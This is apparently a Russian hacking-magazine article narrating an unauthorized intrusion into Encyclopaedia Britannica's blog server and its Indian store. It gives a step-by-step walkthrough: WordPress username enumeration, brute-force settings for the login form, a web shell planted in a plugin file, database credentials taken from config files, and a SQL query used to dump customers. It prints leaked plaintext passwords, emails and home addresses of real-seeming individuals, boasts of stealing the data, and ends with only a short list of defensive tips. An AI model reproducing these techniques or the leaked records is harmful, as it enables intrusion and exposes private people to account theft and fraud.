Содержание статьи
Энциклопедия Британника, созданная шотландскими просветителями - гравером Эндрю Беллом и печатником Колином Макфаркаром - это старейшая и наиболее полная энциклопедия на английском языке, первые тома которой были изданы в далеких 1768-1771 годах. Сайт Британники впервые увидел свет в 1995 году, а в данное время вплотную приближается по возможностям ко всем известной Википедии.
Я просто не смог пройти мимо этого эпохального труда и попробовал взглянуть на онлайновую Британнику немного глубже, чем ее обычные пользователи.
Знание - сила
Зная, что любое энциклопедическое изыскание начинается ab ovo, я зашел на главную страницу Британники, расположенную по адресу britannica.com (или eb.com). Первая ссылка, которая меня заинтересовала, незатейливо называлась Blog и вела на britannica.com/blogs. Открыв исходник данной страницы, я пришел в восторг, так как там гордо красовалась следующая надпись:
<meta name="generator" content="WordPress 2.2" />
Но, как и следовало ожидать, админы Британники оказались не такими уж и простаками: хотя версия движка и была крайне древней, все известные уязвимости в ней были хорошо пропатчены, так что оставалось только продолжать поиски.
Следующим моим шагом был, конечно же, Гугл: "inurl:britannica.com filetype:php". Походив часа два по ссылкам и снова ничего интересного не найдя, я все же решил заняться Вордпрессом.
Грубая сила
Немного поразмыслив, я задумал коварный план по подбору пароля в админскую часть Вордпресса с помощью банального брутфорса. Для осуществления данного плана требовались действительные логины пользователей, которые можно было собрать с помощью известного бага движка: переходим по ссылке britannica.com/blogs/?author=[N] ([N] - это ID нужного пользователя) и наблюдаем логин в тайтле страницы. Подставив по порядку несколько ID, я узнал, что на блоге присутствуют следующие юзеры:
admin
mlevy
dhoiberg
jluebering
jhennelly
whosch
kkuiper
tpappas
rmchenry
gmcnamee
rhorrow
tom
bcosgrave
tgallagher
rmurraythomas
jennifer
ksparks
aguttmann
jmaguire
rwilson
Но логины - это только полдела, необходимо было найти еще и пароли к ним :). Для этого я воспользовался ранее упоминавшейся на страницах рубрики ][-Tools программой WBF.Gold.
Для начала процесса брутфорса нужно настроить прогу в разделе "Параметры":
Хост/обработчик формы: http://www.britannica.com/blogs/wp-login.php
Метод атаки: POST
Атрибуты Submit-кнопки: Name=wp-submit, Value=Login
Имена полей идентификаторов: поле "Логин"=log, поле "Пароль"=pwd
Индикация успешного входа: отсутствие текста input type="password"
Для начала я скачал несколько объемных словарей и начал последовательную атаку по первому аккаунту с помощью сразу нескольких запущенных одновременно копий брутфорса. Спустя какое-то время я увидел, что успешно сбрутился аккаунт mlevy с паролем London :). Дело оставалось за малым - залогиниться в админку и залить шелл, чем я и занялся.
Проникновение
Итак, зайдя в britannica.com/blogs/wp-admin и убедившись, что юзер mlevy обладает правами администратора, я поспешил проследовать в раздел "Plugins". Здесь мне снова повезло - все плагины обладали правами на запись, так что я открыл файл akismet/akismet.php и записал в него свой веб-шелл.
Теперь нужно было изучить сервер на предмет всяческих интересностей. Для этого я зашел в свой шелл с помощью кодового слова (britannica.com/blogs/?britan) и стал смотреть на список файлов и директорий веб-сервера в корне (/apps/docs):
account-443
account-80
benandbella
bindia
blog.qa.tar.bz2
catalog
category-template.php
contributor
corporate-80
dead.letter
deprecated_site_pages-80
dev-blog-wp22.zip
failover
form01-80
forms01-80
gcoop-80
help-80
httpd-advocacy
httpd-safe-443
https-199
....
wordpress-blog-80
wppingback-80
www-80
На сервере находились служебные файлы различных внутренних разделов и поддоменов Британники (которые, впрочем, были для меня не так интересны, как доступы к базам данных):
/apps/docs/wordpress-blog-80/blogs/wp-config.php:
define('DB_NAME', 'blogs'); // The name of the database
define('DB_USER', 'wordpress'); // Your MySQL username
define('DB_PASSWORD', 'gutenberg5!'); // ...and password
define('DB_HOST', 'blogs.db'); // 99% chance you won't need to change this value
/apps/docs/bindia/codelibrary/inc/connection.php:
$dbConn = pg_pconnect("host=bi.db port=5432 dbname=bi user=bi password=bi");
С помощью первого доступа я легко слил e-mail'ы, логины и пароли пользователей блога (обрати внимание, интересные пароли у британских книголюбов: Иоганн Гутенберг - это изобретатель книгопечатания), а вот для второго мне пришлось заливать уже знакомый тебе WSO веб-шелл, который умеет работать с базами данных PostgreSQL.
Индийская Британника
Подконнектившись к bi.db, я сразу же приступил к изучению содержимого БД нашего юзера: postgres, ihop, bi, aasl, site, ebtimeline, bil. Первые интересности обнаружились в таблице tbl_order_master, где находились следующие столбцы:
order_id
order_number
order_date
uid
order_status
bill_name
bill_address
bill_phone
bill_email
ship_name
ship_address
shipp_phone
shipping_chrages
и записи с адресами некой доставки:
Адрес платежа: 55-56, Udyog Vihar, Gurgaion Phase IV, Gurgaon, Gurgaon, India
Телефон: 9810040499
E-mail: kaushik@britannicain.com
Aдрес доставки: 55-56, Udyog Vihar, Gurgaion Phase IV
Здесь домен britannicain.com (который, кстати, не работает) навел меня на мысль, что название базы "bi" - это аббревиатура от Britannica India. Собственно, с этим запросом в Гугле я и узнал, что взломал целое индийское отделение Британники, располагающееся по адресу britannicaindia.com и по пути /apps/docs/bindia на нашем сервере.
Сам ресурс britannicaindia.com позволяет жителям Индии заказывать различные продукты издательства Encyclopaedia Britannica (книги и CD/DVD), так что оставалось только найти более подробную инфу о покупателях в базе данных.
Понятно, что узнав адрес одного из ресурсов, которые лежат на похеканном сервере, я сразу же захотел посмотреть на остальные сайты с помощью известного ReverseIP-сервиса yougetsignal.com/tools/web-sites-on-web-server:
advocacy.britannica.com
benandbella.eb.com
britannicaindia.com
corporate.britannica.com
corporate.eb.com
forms01.britannica.com
help.eb.com
info.eb.com
newsletter.eb.com
newsletters.britannica.com
partners.britannica.com
sales.britannica.com
statistics.eb.com
store.britannicaindia.com
support.britannica.com
universal.eb.com
www.apps.eb.com
www.britannicaindia.com
Как видишь, список оказался довольно-таки интересным. Но оставим его на потом, и вернемся к нашим индийским друзьям :).
Индийский магазин
Далее в той же базе данных я открыл таблицу tbl_register, содержащую 9 470 записей. Здесь для меня открылось чарующее зрелище: подробнейшие данные обо всех кастомерах Британники, а в качестве бонуса - кристально чистые пароли в плейн-тексте (уже в который раз замечаю, что серьезные ресурсы сильно не заморачиваются о шифровании важных данных пользователей).
Вот лишь некоторые из таких данных:
Honie:rose:harpritkaur@hotmail.com:D-6/13, Vasant Vihar
ritesh:rockrover:riteshroxy@yahoo.com:sun power flats g block s.f.-4 memnagar
pioneer:pravyogi:pravin_hande@rediffmail.com:bhau daji road
ganguly:goa@calcutta:ganguly_sumam@yahoo.com:24, ali chirag lane,
muthana:pretty:muthana@vsnl.com:12 Sarat Chatterjee Avenue
anurup:mitali:anurup_m@vsnl.com:Surasree 24A, Lake View Road
superbat393:scurvycur:superbat_393@yhaoo.co.uk:12,T.S.Krishna nagar extn,mogappair
SuyashAnand:999999999:suyashanand@yahoo.com:xyz
champakali:mypczenith:bbsr@lnsel.com:cuttack
sim00:7020557:sim00@rediffmail.com:125 sainik vihar
arka:arkaarka:kaaraak@yahoo.com:catia
anilpost:bathinda:anilpost@hotmail.com:2242, urban estate phase-ii
k_dasgupta:mampu:k_dasgupta@hotmail.com:PO Box 72
madhu:rama:ureply@rediffmail.com:6576
satyajitpani:silusilu:satyajit_pani@msn.com:cuttack chandi cuttack
ramkishore:bansal123:ramkishore@vsnl.com:235, Katra Peran, Tilak Bazar
rjana:1234:rjana@vsnl.net:haldia
rakov2000:rakov2000:xaldinx@gmail.com:&3/2, Krishna Nagar
padma:suhana:padma@ebindia.com:B-2/171, Sfdarjang Enclave
manish:purohit:manish@manishpurohit.com:d-77 Panchsheel Enclave
thomas:thomas:thomas@britannicain.com:l-86 madangir
RajuV:plsGOD:vraju3@emirates.net.ae:AYDJA PO BOX 25
vikram:krishnaaa:vikram@britannicain.com:c-266,sarita vihar
Тысячи подобных записей я извлек с помощью нехитрого запроса "SELECT username||chr(58)||password||chr(58)||email||chr(58)||address FROM tbl_register LIMIT 30 OFFSET 0
".
Для теста я решил залогиниться по адресу britannicaindia.com/registration.php с помощью рандомного аккаунта vinay_75a;13041974, что, естественно, у меня сразу же получилось. Имея доступ к любому из аккаунтов магазина индийской Британники, можно было заказать очень много бумажных или мультимедийных копий данной энциклопедии на любые почтовые адреса :). Но я не стал заниматься таким непотребством, а всего лишь бережно слил дамп с пользователями к себе на дедик.
Заключение
Напоследок я решил еще немного походить по PostgreSQL базам данных. Как это не удивительно, но в некой базе bil в таблице users также оказались незашифрованные пароли:
gabie;springsprung
tea;tea
mwiechec;password
sabis123!;sabisimages
erc123!;ercimages
kossuth;kossuth123!
и так далее.
Поразившись такому халатному отношению к своим же собственным юзерам, я слил все доступные данные, а также скачал исходники всех сайтов-поддоменов Британники с ReverseIP-сервиса. После неудачной попытки порутать пропатченную машинку я удалил все свои шеллы и написал админам на мыло, чтобы они внимательнее относились к своим паролям и, соответственно, пользователям.
Тебе же я в очередной раз могу посоветовать не смотреть на историю и размах любого онлайн-проекта, а просто немного глубже вглядеться его структуру. Быть может, именно ты будешь тем человеком, кто найдет знаменательный баг в какой-нибудь... Википедии :).
INFO
Если ты являешься разработчиком какого-либо движка или администратором крупного проекта, советую тебе оглянуться на безалаберных владельцев Британники и не повторять следующих ошибок:
- Не забывай обновлять паблик-движки до самых последних версий.
- Никогда не сохраняй личные данные пользователей в открытом виде.
- Никогда не позволяй непривилегированному пользователю веб-сервера (apache в данном случае) быть владельцем важных файлов системы.
- Никогда не ставь простых паролей, а также используй рандомные пароли для различных сервисов.